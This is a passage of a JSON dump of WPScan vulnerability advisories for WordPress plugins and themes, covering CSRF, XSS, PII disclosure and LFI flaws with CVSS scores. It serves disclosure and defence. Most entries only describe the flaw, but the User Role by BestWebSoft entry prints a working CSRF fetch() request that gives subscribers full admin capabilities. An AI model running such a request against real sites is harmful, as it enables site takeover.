"HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-06-15T00:00:00", "type": "wpvulndb", "title": "Google XML Sitemap for Videos <= 2.6.1 - CSRF", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25055"], "modified": "2023-06-15T19:10:19", "id": "WPVDB-ID:A75DE77E-0A95-4986-9544-311C48AD0131", "href": "https://wpscan.com/vulnerability/a75de77e-0a95-4986-9544-311c48ad0131", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-29T14:27:56", "description": "The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against ??? [high privilege users such as admin|only unauthenticated users]\n", "cvss3": {}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "Tags Cloud Manager <= 1.0.0 - Reflected XSS", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-28166"], "modified": "2023-06-22T11:59:03", "id": "WPVDB-ID:E578F8F7-133C-40C9-9128-8B423C9B66CF", "href": "https://wpscan.com/vulnerability/e578f8f7-133c-40c9-9128-8b423c9b66cf", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-09T02:45:29", "description": "The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-16T00:00:00", "type": "wpvulndb", "title": "Import External Images <= 1.4 - CSRF", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-46866"], "modified": "2023-05-25T18:52:23", "id": "WPVDB-ID:D7786B3E-09F3-40D7-85BC-D9B82248407E", "href": "https://wpscan.com/vulnerability/d7786b3e-09f3-40d7-85bc-d9b82248407e", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-29T15:06:59", "description": "The theme does not sanitise and escape some parameters, which could allow users with a role as low as subscriber to perform Stored Cross-Site Scripting attacks\n", "cvss3": {}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "Brilliance <= 1.3.1 - Subscriber+ Stored XSS", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-28171"], "modified": "2023-06-22T11:58:55", "id": "WPVDB-ID:25792282-4505-4BD0-85B0-A1E1C2B34BDB", "href": "https://wpscan.com/vulnerability/25792282-4505-4bd0-85b0-a1e1c2b34bdb", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-25T20:32:56", "description": "The plugin does not sanitise and escape some parameters, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks.\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "Ecwid Shopping Cart < 6.11.5 - Contributor+ Stored Cross-Site Scriping", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24408"], "modified": "2023-05-08T19:29:25", "id": "WPVDB-ID:A10AE3C6-B52C-425A-8409-AD82E89A335A", "href": "https://wpscan.com/vulnerability/a10ae3c6-b52c-425a-8409-ad82e89a335a", "sourceData": "", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-07-24T02:21:59", "description": "Cross-Site Request Forgery (CSRF) vulnerability in HasThemes HT Feed plugin <= 1.2.7 versions.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T00:00:00", "type": "wpvulndb", "title": "HT Feed < 1.2.8 - Cross-Site Request Forgery", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-23804"], "modified": "2023-07-10T16:31:20", "id": "WPVDB-ID:9B2A0645-84F0-441C-8854-2C59CD569EE0", "href": "https://wpscan.com/vulnerability/9b2a0645-84f0-441c-8854-2c59cd569ee0", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-09T08:33:40", "description": "The plugin does not have a CSRF check in place when updating its settings, which could allow attackers to make a logged-in admin change them via a CSRF attack.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "WooCommerce Weight Based Shipping < 5.5.0 - Settings Update via CSRF", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-46794"], "modified": "2023-06-09T08:28:56", "id": "WPVDB-ID:1CE5FFA7-8EE5-4419-8BFF-48FCB4A25AAA", "href": "https://wpscan.com/vulnerability/1ce5ffa7-8ee5-4419-8bff-48fcb4a25aaa", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-25T20:28:40", "description": "The plugin does not sanitise and escape some parameters, which could allow users with a role of Admin to perform Cross-Site Scripting attacks.\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "Easy Event calendar <= 1.0 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28169"], "modified": "2023-05-09T15:25:55", "id": "WPVDB-ID:FE789056-67EF-42E3-882B-12C14A32B12F", "href": "https://wpscan.com/vulnerability/fe789056-67ef-42e3-882b-12c14a32b12f", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-07-14T20:35:18", "description": "The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "Return and Warranty Management System for WooCommerce <= 1.2.3 - Reflected Cross-Site Scripting", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-22710"], "modified": "2023-05-09T17:30:18", "id": "WPVDB-ID:E7CA914F-878E-4192-BAF3-95AEC78ADBD7", "href": "https://wpscan.com/vulnerability/e7ca914f-878e-4192-baf3-95aec78adbd7", "sourceData": "", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:23:45", "description": "The theme does not sanitise and escape the id parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "Regina Lite <= 2.0.7 - Reflected XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27619"], "modified": "2023-04-25T18:12:05", "id": "WPVDB-ID:DD2DFFAF-44F4-4968-B6FD-5FEEC843C636", "href": "https://wpscan.com/vulnerability/dd2dffaf-44f4-4968-b6fd-5feec843c636", "sourceData": "", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:23:47", "description": "The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-16T00:00:00", "type": "wpvulndb", "title": "Newsmag <= 2.4.4 - Subscriber+ Reflected Cross-Site Scripting", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28493"], "modified": "2023-05-08T19:48:47", "id": "WPVDB-ID:8248E2EA-4820-4A6B-B4A7-0A1121886D7E", "href": "https://wpscan.com/vulnerability/8248e2ea-4820-4a6b-b4a7-0a1121886d7e", "sourceData": "", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:47:53", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\n### PoC\n\n1\\. Go to the import/export section. 2\\. Enter the following payload in the input fields of Google API key and Calendar ID: \">\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "Modern Events Calendar lite <= 5.16.2 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1400"], "modified": "2023-03-14T15:23:55", "id": "WPVDB-ID:C7FECEEF-28F1-4CAC-B124-4B95E3F17B07", "href": "https://wpscan.com/vulnerability/c7feceef-28f1-4cac-b124-4b95e3f17b07", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:55:57", "description": "The plugin saves exported shopping cart data in a publicly accessible directory, allowing unauthenticated users to retrieve PII such as full names, email/IP address etc\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2023-03-16T00:00:00", "type": "wpvulndb", "title": "WP Simple Shopping Cart 4.6.3 - Unauthenticated PII Disclosure", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1431"], "modified": "2023-03-16T15:38:51", "id": "WPVDB-ID:2208921F-C5F5-463A-A819-8F1CC15B1CAB", "href": "https://wpscan.com/vulnerability/2208921f-c5f5-463a-a819-8f1cc15b1cab", "sourceData": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-07-14T20:15:51", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "eCommerce Product Catalog < 3.3.9 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1470"], "modified": "2023-03-17T15:24:07", "id": "WPVDB-ID:D4F33F1B-5E2F-4D12-9B6A-059A6921C5CC", "href": "https://wpscan.com/vulnerability/d4f33f1b-5e2f-4d12-9b6a-059a6921c5cc", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-07-14T20:39:22", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). If the 'Admin Dashboard Access Permission' is set to allow low privilege users to access the plugin's dashboard, they could also perform such attack\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "WP Express Checkout < 2.2.9 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1469"], "modified": "2023-03-17T15:23:43", "id": "WPVDB-ID:33D53463-7E29-440E-9F30-9B7AB2C50A62", "href": "https://wpscan.com/vulnerability/33d53463-7e29-440e-9f30-9b7ab2c50a62", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:50:15", "description": "The plugin does not protect against CSRF in requests to update role capabilities, leading to arbitrary privilege escalation of any role.\n\n### PoC\n\nMake a logged in admin open a page with the code below. Then, log in as a subscriber and see that you have full admin access. ``` fetch(\"/wp-admin/admin.php?page=srrl_add_new_roles\", { \"headers\": { \"content-type\": \"application/x-www-form-urlencoded\", }, \"method\": \"POST\", \"body\": \"srrl_action=update&srrl;_role_name=Subscriber&srrl;_role_slug=subscriber&srrl;_role_caps%5B%5D=activate_plugins&srrl;_role_caps%5B%5D=delete_plugins&srrl;_role_caps%5B%5D=edit_plugins&srrl;_role_caps%5B%5D=install_plugins&srrl;_role_caps%5B%5D=update_plugins&srrl;_role_caps%5B%5D=delete_themes&srrl;_role_caps%5B%5D=edit_theme_options&srrl;_role_caps%5B%5D=edit_themes&srrl;_role_caps%5B%5D=install_themes&srrl;_role_caps%5B%5D=switch_themes&srrl;_role_caps%5B%5D=update_themes&srrl;_role_caps%5B%5D=add_users&srrl;_role_caps%5B%5D=create_users&srrl;_role_caps%5B%5D=delete_users&srrl;_role_caps%5B%5D=edit_users&srrl;_role_caps%5B%5D=list_users&srrl;_role_caps%5B%5D=promote_users&srrl;_role_caps%5B%5D=remove_users&srrl;_role_caps%5B%5D=delete_others_pages&srrl;_role_caps%5B%5D=delete_pages&srrl;_role_caps%5B%5D=delete_private_pages&srrl;_role_caps%5B%5D=delete_published_pages&srrl;_role_caps%5B%5D=edit_others_pages&srrl;_role_caps%5B%5D=edit_pages&srrl;_role_caps%5B%5D=edit_private_pages&srrl;_role_caps%5B%5D=edit_published_pages&srrl;_role_caps%5B%5D=publish_pages&srrl;_role_caps%5B%5D=read_private_pages&srrl;_role_caps%5B%5D=delete_others_posts&srrl;_role_caps%5B%5D=delete_posts&srrl;_role_caps%5B%5D=delete_private_posts&srrl;_role_caps%5B%5D=delete_published_posts&srrl;_role_caps%5B%5D=edit_others_posts&srrl;_role_caps%5B%5D=edit_posts&srrl;_role_caps%5B%5D=edit_private_posts&srrl;_role_caps%5B%5D=edit_published_posts&srrl;_role_caps%5B%5D=publish_posts&srrl;_role_caps%5B%5D=read_private_posts&srrl;_role_caps%5B%5D=edit_dashboard&srrl;_role_caps%5B%5D=edit_files&srrl;_role_caps%5B%5D=export&srrl;_role_caps%5B%5D=import&srrl;_role_caps%5B%5D=manage_categories&srrl;_role_caps%5B%5D=manage_links&srrl;_role_caps%5B%5D=manage_options&srrl;_role_caps%5B%5D=moderate_comments&srrl;_role_caps%5B%5D=read&srrl;_role_caps%5B%5D=unfiltered_html&srrl;_role_caps%5B%5D=unfiltered_upload&srrl;_role_caps%5B%5D=update_core&srrl;_role_caps%5B%5D=upload_files&srrl;_save=1\", \"credentials\": \"include\" }).then(response => response.text()) .then(data => console.log(data)); ```\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "User Role by BestWebSoft < 1.6.7 - Privilege Escalation via CSRF", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-0820"], "modified": "2023-03-13T09:23:51", "id": "WPVDB-ID:B93D9F9D-0FD9-49B8-B465-D32B95351912", "href": "https://wpscan.com/vulnerability/b93d9f9d-0fd9-49b8-b465-d32b95351912", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-25T21:04:40", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n\n### PoC\n\nAdd a new currency (/wp-admin/admin.php?page=sr-add-new-currency) with the following payload as Name: \">\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "Solidres <= 0.9.4 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1374"], "modified": "2023-03-13T15:13:08", "id": "WPVDB-ID:2AE3C4F9-5CE7-47E9-B35C-0E5CABD3EF9C", "href": "https://wpscan.com/vulnerability/2ae3c4f9-5ce7-47e9-b35c-0e5cabd3ef9c", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:54:31", "description": "The plugin does not validate HTTP requests, allowing authenticated users with admin privileges to perform LFI attacks.\n\n### PoC\n\n1\\. Login as Admin. 2\\. Go to `wp-admin/admin.php?page=wp-easycart-products&subpage;=products` 3\\. Click on Import Products. Browse any file and click on import file. Intercept the request. It will contain the following: ``` POST 